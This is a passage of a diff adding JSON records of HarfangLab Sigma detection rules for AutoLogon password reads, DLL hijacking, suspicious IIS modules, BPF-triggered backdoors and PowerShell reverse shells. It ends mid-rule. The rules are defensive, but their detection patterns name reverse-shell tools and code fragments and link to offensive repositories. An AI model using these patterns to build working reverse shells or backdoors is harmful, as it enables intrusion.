ProcessSignature:\n            - 'Microsoft Windows'\n            - 'Microsoft Corporation'\n\n    exclusion_remote_registry:\n        ProcessCommandLine:\n            - '?:\\WINDOWS\\system32\\svchost.exe -k localService -p -s RemoteRegistry'\n            - '?:\\Windows\\system32\\svchost.exe -k LocalService'\n            - '?:\\Windows\\system32\\svchost.exe -k regsvc'\n        ProcessSigned: 'true'\n        ProcessSignature:\n            - 'Microsoft Windows Publisher'\n            - 'Microsoft Windows'\n\n    exclusion_systemproperties:\n        Image:\n            - '?:\\Windows\\System32\\SystemPropertiesAdvanced.exe'\n            - '?:\\Windows\\System32\\SystemPropertiesComputerName.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: \"Microsoft Windows\"\n\n    exclusion_netplwiz:\n        Image: '?:\\Windows\\system32\\netplwiz.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: \"Microsoft Windows\"\n\n    exclusion_serviceportalagent:\n        ProcessOriginalFileName: 'MmrAgent.NetFxEmulator.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: \"Microsoft Corporation\"\n\n    # Microsoft Deployment Toolkit\n    exclusion_mdt:\n        - ProcessCommandLine: '?:\\Windows\\System32\\wscript.exe ?:\\MININT\\Scripts\\LTICleanup.wsf'\n        - ProcessParentCommandLine: '?:\\Windows\\System32\\wscript.exe ?:\\MININT\\Scripts\\LiteTouch.wsf /start'\n\n    exclusion_consent:\n        Image: '?:\\Windows\\System32\\consent.exe'\n        ProcessParentImage: '?:\\Windows\\System32\\svchost.exe'\n\n    exclusion_vmware:\n        Image|endswith: '\\guestcustutil.exe'\n        ProcessParentImage: '?:\\Program Files\\VMware\\VMware Tools\\vmtoolsd.exe'\n\n    exclusion_cubeguard:\n        Image|endswith: '\\CubeGuard.exe'\n        ProcessProduct: 'CubeGuard'\n        ProcessDescription: 'CubeGuard'\n\n    exclusion_wmiprvse:\n        Image: '?:\\Windows\\System32\\wbem\\WmiPrvSE.exe'\n\n    exclusion_systempropertiesprotection:\n        Image: '?:\\Windows\\System32\\SystemPropertiesProtection.exe'\n\n    exclusion_tanium:\n        ProcessAncestors|contains: '?:\\Program Files (x86)\\Tanium\\Tanium Client\\TaniumCX.exe'\n\n    exclusion_credentialuibroker:\n        Image: '?:\\Windows\\System32\\CredentialUIBroker.exe'\n\n    exclusion_admin_script:\n        Image|endswith: '\\powershell.exe'\n        ProcessParentCommandLine:\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -p -s Schedule' # windows 10 Version 1703 and above\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -p' # windows versions before 1703\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs' # windows 7\n            - '?:\\windows\\system32\\svchost.exe -k netsvcs -s Schedule' # Windows 10 1703\n\n    exclusion_ccm:\n        - ProcessParentImage: '?:\\Windows\\CCM\\CcmExec.exe'\n        - ProcessCommandLine|contains: '?:\\WINDOWS\\CCM\\SystemTemp\\\\????????-????-????-????-????????????.ps1'\n          ProcessParentImage: '?:\\Windows\\System32\\wbem\\WmiPrvSE.exe'\n\n    exclusion_cyberwatch:\n        ProcessAncestors|contains:\n            - '?:\\Program Files\\CYBERWATCH SAS\\CyberwatchAgent\\cyberwatch-agent.exe|'\n            - '?:\\Program Files\\CYBERWATCH SAS\\CyberwatchAgent\\CyberwatchService.exe|'\n\n    exclusion_ivanti:\n        ProcessAncestors|contains:\n            - '?:\\Program Files (x86)\\Ivanti\\EPM Agent\\SWD\\sdistps1.exe|'\n            - '?:\\Program Files (x86)\\Ivanti\\EPM Agent\\SWD\\SDCLIENT.EXE|'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "297f5f7a-9497-405d-91ba-b35ccb189367",
+  "rule_name": "AutoLogon Password Read from Registry",
+  "rule_description": "Detects a suspicious read operation on registry keys storing information related to Windows AutoLogon.\nAdversaries may access Autologon password in order to reconnect to the machine or move laterally.\nIt is recommended to check whether the process accessing the registry keys has legitimate reasons to do it.\n",
+  "rule_creation_date": "2024-04-02",
+  "rule_modified_date": "2026-03-16",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access",
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1012",
+    "attack.t1552.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "299eaa14-cda1-4c16-8770-98ba402f7ce0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.089405Z",
+  "creation_date": "2026-03-23T11:45:34.089407Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.089412Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://github.com/xforcered/WFH",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_securityhealthservice.yml",
+  "content": "title: DLL Hijacking via securityhealthservice.exe\nid: 299eaa14-cda1-4c16-8770-98ba402f7ce0\ndescription: |\n    Detects potential Windows DLL Hijacking via securityhealthservice.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://github.com/xforcered/WFH\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'securityhealthservice.exe'\n        ProcessSignature: 'Microsoft Windows Publisher'\n        ImageLoaded|endswith:\n            - '\\DNSAPI.dll'\n            - '\\drvstore.dll'\n            - '\\FirewallAPI.dll'\n            - '\\fwbase.dll'\n            - '\\USERENV.dll'\n            - '\\winbio.dll'\n            - '\\Wldp.dll'\n            - '\\WTSAPI32.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "299eaa14-cda1-4c16-8770-98ba402f7ce0",
+  "rule_name": "DLL Hijacking via securityhealthservice.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via securityhealthservice.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "29dfc6e6-c42a-4009-8e21-367675f7e417",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.626233Z",
+  "creation_date": "2026-03-23T11:45:34.626235Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.626240Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://learn.microsoft.com/en-us/iis/get-started/introduction-to-iis/iis-modules-overview#module-reference",
+    "https://www.microsoft.com/en-us/security/blog/2022/12/12/iis-modules-the-evolution-of-web-shells-and-how-to-detect-them/",
+    "https://attack.mitre.org/techniques/T1505/004/"
+  ],
+  "name": "t1505_004_iis_module_native_load.yml",
+  "content": "title: Suspicious IIS Module Loaded\nid: 29dfc6e6-c42a-4009-8e21-367675f7e417\ndescription: |\n    Detects the loading of a suspicious (native) library by an IIS worker process in system-wide IIS binary module directories.\n    Malicious DLLs loaded by an IIS worker can be used for different purposes, mostly to act as webshells.\n    It is recommended to analyze the content of the loaded library to look for malicious content and to analyze subprocesses of the IIS worker for malicious behavior.\nreferences:\n    - https://learn.microsoft.com/en-us/iis/get-started/introduction-to-iis/iis-modules-overview#module-reference\n    - https://www.microsoft.com/en-us/security/blog/2022/12/12/iis-modules-the-evolution-of-web-shells-and-how-to-detect-them/\n    - https://attack.mitre.org/techniques/T1505/004/\ndate: 2025/01/28\nmodified: 2026/01/06\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.t1505.004\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.Persistence\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'w3wp.exe'\n        ProcessDescription: 'IIS Worker Process'\n        ImageLoaded|re:\n            - '(?i)^[A-Z]:\\\\Windows\\\\System32\\\\inetsrv\\\\[[:print:]&&[^/\\\\:\\*\\?\\\"<>|]]+\\.dll$'\n            - '(?i)^[A-Z]:\\\\inetpub\\\\wwwroot\\\\bin\\\\[[:print:]&&[^/\\\\:\\*\\?\\\"<>|]]+\\.dll$'\n            - '(?i)^[A-Z]:\\\\inetpub\\\\temp\\\\[[:print:]&&[^/\\\\:\\*\\?\\\"<>|]]+\\.dll$'\n            - '(?i)^[A-Z]:\\\\Program Files\\\\Microsoft\\\\Exchange Server\\\\[[:print:]&&[^/:\\*\\?\\\"<>|]]+\\\\bin\\\\[[:print:]&&[^/\\\\:\\*\\?\\\"<>|]]+\\.dll$'\n        LibraryType: 'Native'\n        AgentVersion|gte|version: 4.3  # Starting this version, managed/native DLL are both considered and are not detected the same way. See 0ae4376f-360f-4b97-9b3f-4c735a82fbf6 for previous variant.\n\n    filter_legitimate_common_modules_bypath:\n        ImageLoaded:\n            - '?:\\Windows\\System32\\inetsrv\\authanon.dll'\n            - '?:\\Windows\\System32\\inetsrv\\authbas.dll'\n            - '?:\\Windows\\System32\\inetsrv\\authcert.dll'\n            - '?:\\Windows\\System32\\inetsrv\\authmap.dll'\n            - '?:\\Windows\\System32\\inetsrv\\authmd5.dll'\n            - '?:\\Windows\\System32\\inetsrv\\authsspi.dll'\n            - '?:\\Windows\\System32\\inetsrv\\cachfile.dll'\n            - '?:\\Windows\\System32\\inetsrv\\cachhttp.dll'\n            - '?:\\Windows\\System32\\inetsrv\\cachtokn.dll'\n            - '?:\\Windows\\System32\\inetsrv\\cachuri.dll'\n            - '?:\\Windows\\System32\\inetsrv\\cgi.dll'\n            - '?:\\Windows\\System32\\inetsrv\\compdyn.dll'\n            - '?:\\Windows\\System32\\inetsrv\\compstat.dll'\n            - '?:\\Windows\\System32\\inetsrv\\custerr.dll'\n            - '?:\\Windows\\System32\\inetsrv\\defdoc.dll'\n            - '?:\\Windows\\System32\\inetsrv\\diprestr.dll'\n            - '?:\\Windows\\System32\\inetsrv\\dirlist.dll'\n            - '?:\\Windows\\System32\\inetsrv\\filter.dll'\n            - '?:\\Windows\\System32\\inetsrv\\gzip.dll'\n            - '?:\\Windows\\System32\\inetsrv\\iis_ssi.dll'\n            - '?:\\Windows\\System32\\inetsrv\\iiscore.dll'\n            - '?:\\Windows\\System32\\inetsrv\\iisetw.dll'\n            - '?:\\Windows\\System32\\inetsrv\\iisfcgi.dll'\n            - '?:\\Windows\\System32\\inetsrv\\iisfreb.dll'\n            - '?:\\Windows\\System32\\inetsrv\\iisreqs.dll'\n            - '?:\\Windows\\System32\\inetsrv\\iisres.dll'\n            - '?:\\Windows\\System32\\inetsrv\\iisutil.dll'\n            - '?:\\Windows\\System32\\inetsrv\\iiswsock.dll'\n            - '?:\\Windows\\System32\\inetsrv\\iprestr.dll'\n            - '?:\\Windows\\System32\\inetsrv\\isapi.dll'\n            - '?:\\Windows\\System32\\inetsrv\\logcust.dll'\n            - '?:\\Windows\\System32\\inetsrv\\loghttp.dll'\n            - '?:\\Windows\\System32\\inetsrv\\modrqflt.dll'\n            - '?:\\Windows\\System32\\inetsrv\\nativerd.dll'\n            - '?:\\Windows\\System32\\inetsrv\\protsup.dll'\n            - '?:\\Windows\\System32\\inetsrv\\redirect.dll'\n            - '?:\\Windows\\System32\\inetsrv\\rewrite.dll'\n            - '?:\\Windows\\System32\\inetsrv\\static.dll'\n            - '?:\\Windows\\System32\\inetsrv\\validcfg.dll'\n            - '?:\\Windows\\System32\\inetsrv\\w3dt.dll'\n            - '?:\\Windows\\System32\\inetsrv\\w3tp.dll'\n            - '?:\\Windows\\System32\\inetsrv\\w3wphost.dll'\n            - '?:\\Windows\\System32\\inetsrv\\warmup.dll'\n            - '?:\\Windows\\System32\\inetsrv\\wbhst_pm.dll'\n\n    filter_signed_imageloaded:\n        Signed: 'true'\n        SignatureStatus: 'Valid'\n        Signature:\n            - 'Microsoft Windows'\n            - 'Microsoft Corporation'\n            - 'Microsoft Windows Publisher'\n\n    exclusion_legitimate_ms_safehtml:\n        Company: 'Microsoft Corporation'\n        Description: 'Microsoft SafeHtml filter'\n        InternalName: 'osafehtm'\n        Product:\n            - 'Microsoft SafeHtml'\n            - '*Exchange - For Testing Purposes Only*'\n        ImageLoaded|endswith: '\\osafehtm.dll'\n\n    exclusion_legitimate_bo_crystalreports:\n        Company: 'Business Objects'\n        LegalCopyright|endswith: 'Business Objects'\n        Product|startswith: 'Crystal Reports'\n        ImageLoaded|endswith:\n            - '\\CrystalDecisions.CrystalReports.Engine.dll'\n            - '\\CrystalDecisions.ReportSource.dll'\n            - '\\CrystalDecisions.Shared.dll'\n            - '\\CrystalDecisions.Web.dll'\n\n    exclusion_legitimate_ge_healtcare:\n        Company: 'GE Healthcare'\n        Product|startswith: 'Dicom'\n        ImageLoaded|endswith: '\\DicomFileParser.dll'\n\n    exclusion_legitimate_infor_mingle:\n        Company: 'Infor'\n        Description: 'Infor.Mingle Extension Module for IIS'\n        ImageLoaded|endswith: '\\Infor.Mingle.IISModule.dll'\n\n    exclusion_legitimate_zedoc:\n        Company: 'BSV'\n        Description|startswith: 'BSV.'\n        InternalName|startswith: 'BSV.'\n        ImageLoaded|endswith: '\\bin\\BSV.Videocodage.dll'\n\n    exclusion_legitimate_mysqladonet:\n        Company: 'MySQL AB'\n        Description|startswith: 'MySql.'\n        InternalName|startswith: 'MySql.'\n        LegalCopyright|endswith: ', MySQL AB'\n        ImageLoaded|endswith: '\\bin\\MySql.Data.dll'\n\n    exclusion_legitimate_stripheaders:\n        ImageLoaded: '?:\\Windows\\System32\\inetsrv\\stripheaders.dll'\n        sha256:\n            - 'ce3698854f86e1c18f7926d57aec9a6fdba633341a128bec799698e76ef8e144'\n            - '16151bbbe127469a0aab8ce7f4f954a2e585201f7d27f8ab7895a62b60f056a9'\n\n    exclusion_legitimate_webdav:\n        ImageLoaded: '?:\\Windows\\System32\\inetsrv\\webdav.dll'\n        sha256:\n            - 'fdddf849ba5c8de2f8df9650ab32578e0e74ed607f741013fa50058206b811bf'\n            - '94003c985396df6f422d4ad99651a66aee401f9846ed80f82f66f2db77b3391f'\n            - '53b61306ed62687b5aeeb380cda96d8a70641d4f1ab58edc26978a181d7fe1d0'\n            - '8e430996c1ec91f8ef6d1b10017ad18eddde3027574cafdeb6e42e90bce516e6'\n\n    exclusion_legitimate_freeimage:\n        Company: 'FreeImage'\n        Signed: 'true'\n        SignatureStatus: 'Valid'\n        Signature: 'Soft Gold ltd'\n\n    exclusion_textcontrol:\n        ImageLoaded: '?:\\inetpub\\wwwroot\\bin\\tx??_*.dll'\n        Company: 'Text Control GmbH'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nfalsepositives:\n    - Some web applications legitimately requires the loading of an unsigned library server-wide.\nlevel: medium\n# level: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "29dfc6e6-c42a-4009-8e21-367675f7e417",
+  "rule_name": "Suspicious IIS Module Loaded",
+  "rule_description": "Detects the loading of a suspicious (native) library by an IIS worker process in system-wide IIS binary module directories.\nMalicious DLLs loaded by an IIS worker can be used for different purposes, mostly to act as webshells.\nIt is recommended to analyze the content of the loaded library to look for malicious content and to analyze subprocesses of the IIS worker for malicious behavior.\n",
+  "rule_creation_date": "2025-01-28",
+  "rule_modified_date": "2026-01-06",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1505.004"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "2a006be4-b10c-4a12-ab2f-98057371169c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.620176Z",
+  "creation_date": "2026-03-23T11:45:34.620178Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.620182Z",
+  "rule_level": "high",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.elastic.co/security-labs/a-peek-behind-the-bpfdoor",
+    "https://nikhilh-20.github.io/blog/cbpf_bpfdoor/",
+    "https://github.com/gwillgues/BPFDoor",
+    "https://www.fortinet.com/blog/threat-research/new-ebpf-filters-for-symbiote-and-bpfdoor-malware",
+    "https://attack.mitre.org/techniques/T1205/001/"
+  ],
+  "name": "t1205_001_possible_cbpf_covert_backdoor.yml",
+  "content": "title: Possible Classic BPF Triggered Covert Backdoor\nid: 2a006be4-b10c-4a12-ab2f-98057371169c\ndescription: |\n    Detects Classic BPF program loaded with instructions commonly used by malwares.\n    Threat actors can abuse Classic BPF by attaching highly selective packet-filter programs to raw sockets so their implants only wake up when specially crafted “magic” traffic appears, drastically reducing noise and detection opportunities.\n    Because Classic BPF executes inside the kernel, it lets malicious tools inspect all inbound packets—even those not addressed to the malicious process—while remaining lightweight and difficult for defenders to notice.\n    Attackers can then use BPF’s filtering to covertly trigger backdoor functionality or communication channels without exposing obvious network listeners or suspicious traffic patterns.\n    Finally, they may pair BPF with firewall or routing manipulation to hijack existing flows or redirect traffic in ways that appear legitimate to normal monitoring tools.\n    It is recommended to check the process which loaded the Classic BPF program for suspicious activities.\nreferences:\n    - https://www.elastic.co/security-labs/a-peek-behind-the-bpfdoor\n    - https://nikhilh-20.github.io/blog/cbpf_bpfdoor/\n    - https://github.com/gwillgues/BPFDoor\n    - https://www.fortinet.com/blog/threat-research/new-ebpf-filters-for-symbiote-and-bpfdoor-malware\n    - https://attack.mitre.org/techniques/T1205/001/\ndate: 2025/08/11\nmodified: 2026/01/22\nauthor: HarfangLab\ntags:\n    - attack.command_and_control\n    - attack.defense_evasion\n    - attack.t1205.001\n    - attack.t1205.002\n    - classification.Linux.Source.Bpf\n    - classification.Linux.Behavior.CommandAndControl\n    - classification.Linux.Behavior.DefenseEvasion\n    - classification.Linux.Behavior.NetworkActivity\nlogsource:\n    product: linux\n    category: bpf_event\ndetection:\n    selection:\n        Kind: 'cbpf_load'\n        BpfDump|contains|all:\n              # ldh [0xc] : Get the \"EtherType\" field at offset 0xc\n            - '280000000c000000'\n              # jeq 0x800, ??? : if EtherType == IPv4 (0x800), jump\n            - '15000????0080000'\n              # ldh [0x14] : Get the \"Fragment Offset\" of the IPv4 header\n              # jset 0x1fff, ?? : Compare the Fragment Offset value with 0x1fff\n            - '2800000014000000450?????ff1f0000'\n              # ldb [0x17] : Get the protocol field at offset 0x17 in the IPv4 header\n            - '3000000017000000'\n              # ldxb 4*([14]&0xf) : Loads a byte from offset 14 and perform various operations\n              # to get the total size of the IPv4 header\n            - 'b10000000e000000'\n        InstructionCount|gte: 15\n\n    exclusion_networking_tools:\n        Image:\n            # tcpdump\n            - '/usr/bin/tcpdump'\n            - '/usr/sbin/tcpdump'\n            - '/usr/local/bin/tcpdump'\n            - '/usr/bin/dumpcap'\n            # nmap\n            - '/usr/local/bin/nmap'\n            - '/opt/domotz/bin/domotz_nmap'\n            - '/usr/lib/nmap/nmap'\n            # openvas\n            - '*/sbin/openvas'\n            - '*/sbin/openvassd'\n            - '/opt/detect/sbin/openvassd'\n            # dhclient\n            - '/sbin/dhclient'\n            - '/usr/sbin/dhclient'\n            - '/usr/local/dhcp_probe/bin/dhcp_probe'\n            # nessusd\n            - '/opt/nessus/sbin/nessusd'\n            # vdcm\n            - '/opt/vdcm/libexec/DCM_IO'\n            # dhcp\n            - '/usr/sbin/kea-dhcp4'\n            - '/opt/kea/sbin/kea-dhcp4'\n            - '/usr/sbin/dhcpd'\n            # radsniff\n            - '/usr/bin/radsniff'\n            # dns\n            - '*/bin/dnstop'\n            # tracerout\n            - '/usr/bin/tcptraceroute.mt'\n            # port-knock server  \n            - '*/sbin/knockd'\n\n    exclusion_containers:\n        ProcessAncestors|contains:\n            - '/bin/containerd-shim'\n            - '|/usr/bin/lxc-start'\n\n    exclusion_security_tools:\n        Image:\n            - '/opt/endpoint-agent/agent' # Sekoia\n            - '/usr/share/auditbeat/bin/auditbeat'\n            - '/usr/bin/suricata'\n\n    exclusion_fingerbank:\n        Image : '/usr/local/fingerbank/collector/fingerbank-collector'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "2a006be4-b10c-4a12-ab2f-98057371169c",
+  "rule_name": "Possible Classic BPF Triggered Covert Backdoor",
+  "rule_description": "Detects Classic BPF program loaded with instructions commonly used by malwares.\nThreat actors can abuse Classic BPF by attaching highly selective packet-filter programs to raw sockets so their implants only wake up when specially crafted “magic” traffic appears, drastically reducing noise and detection opportunities.\nBecause Classic BPF executes inside the kernel, it lets malicious tools inspect all inbound packets—even those not addressed to the malicious process—while remaining lightweight and difficult for defenders to notice.\nAttackers can then use BPF’s filtering to covertly trigger backdoor functionality or communication channels without exposing obvious network listeners or suspicious traffic patterns.\nFinally, they may pair BPF with firewall or routing manipulation to hijack existing flows or redirect traffic in ways that appear legitimate to normal monitoring tools.\nIt is recommended to check the process which loaded the Classic BPF program for suspicious activities.\n",
+  "rule_creation_date": "2025-08-11",
+  "rule_modified_date": "2026-01-22",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1205.001",
+    "attack.t1205.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "2a2ab0d4-c555-4e90-b3f0-e8025296440a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:35.296703Z",
+  "creation_date": "2026-03-23T11:45:35.296705Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:35.296710Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/t0mbombadil/TOOLS/blob/master/Exfiltration/ReverseShellSamples.ps1",
+    "https://github.com/besimorhino/powercat",
+    "https://github.com/antonioCoco/ConPtyShell",
+    "https://attack.mitre.org/techniques/T1059/001/"
+  ],
+  "name": "t1059_001_reverse_shell_powershell.yml",
+  "content": "title: PowerShell Reverse Shell Executed\nid: 2a2ab0d4-c555-4e90-b3f0-e8025296440a\ndescription: |\n    Detects suspicious reverse shell execution via PowerShell.\n    A reverse shell is shell session that is initiated from a remote machine.\n    Attackers often use reverse shell to bypass firewalls restrictions.\n    It is recommended to analyze the PowerShell script content as well as to look for malicious processes and actions stemming from the PowerShell process.\nreferences:\n    - https://github.com/t0mbombadil/TOOLS/blob/master/Exfiltration/ReverseShellSamples.ps1\n    - https://github.com/besimorhino/powercat\n    - https://github.com/antonioCoco/ConPtyShell\n    - https://attack.mitre.org/techniques/T1059/001/\ndate: 2022/07/01\nmodified: 2026/03/10\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1059.001\n    - attack.command_and_control\n    - attack.t1095\n    - classification.Windows.Source.PowerShellEvent\n    - classification.Windows.Script.PowerShell\n    - classification.Windows.Behavior.CommandAndControl\n    - classification.Windows.Behavior.RemoteShell\nlogsource:\n    category: powershell_event\n    product: windows\ndetection:\n    selection_command1:\n        PowershellCommand|contains|all:\n            - 'Net.Sockets.TCPClient'\n            - '.GetStream('\n            - '.Read('\n            - '.GetString('\n\n    selection_command2:\n        # https://podalirius.net/fr/reverse-shells/windows-reverse-shells-cheatsheet/\n        PowershellCommand|contains|all:\n            - 'New-Object -TypeName System.Text.ASCIIEncoding).GetString('\n            - '(pwd).Path'\n            - '([Text.Encoding]::ASCII).GetBytes('\n\n    selection_cmdlet:\n        PowershellCommand|contains:\n            # https://github.com/besimorhino/powercat\n            - 'powercat '\n            # https://github.com/antonioCoco/ConPtyShell\n            - 'Invoke-ConPtyShell '\n\n    exclusion_bmc:\n        ProcessParentCommandLine: '?:\\Program Files\\BMC Software\\BladeLogic\\RSCD\\/RSCD.exe'\n        PowershellCommand|contains|all:\n            - 'Opening the socket from $sourceIP'\n            - 'tConnected !'\n\n    exclusion_defender:\n        PowershellScriptPath: '?:\\ProgramData\\Microsoft\\Windows Defender Advanced Threat 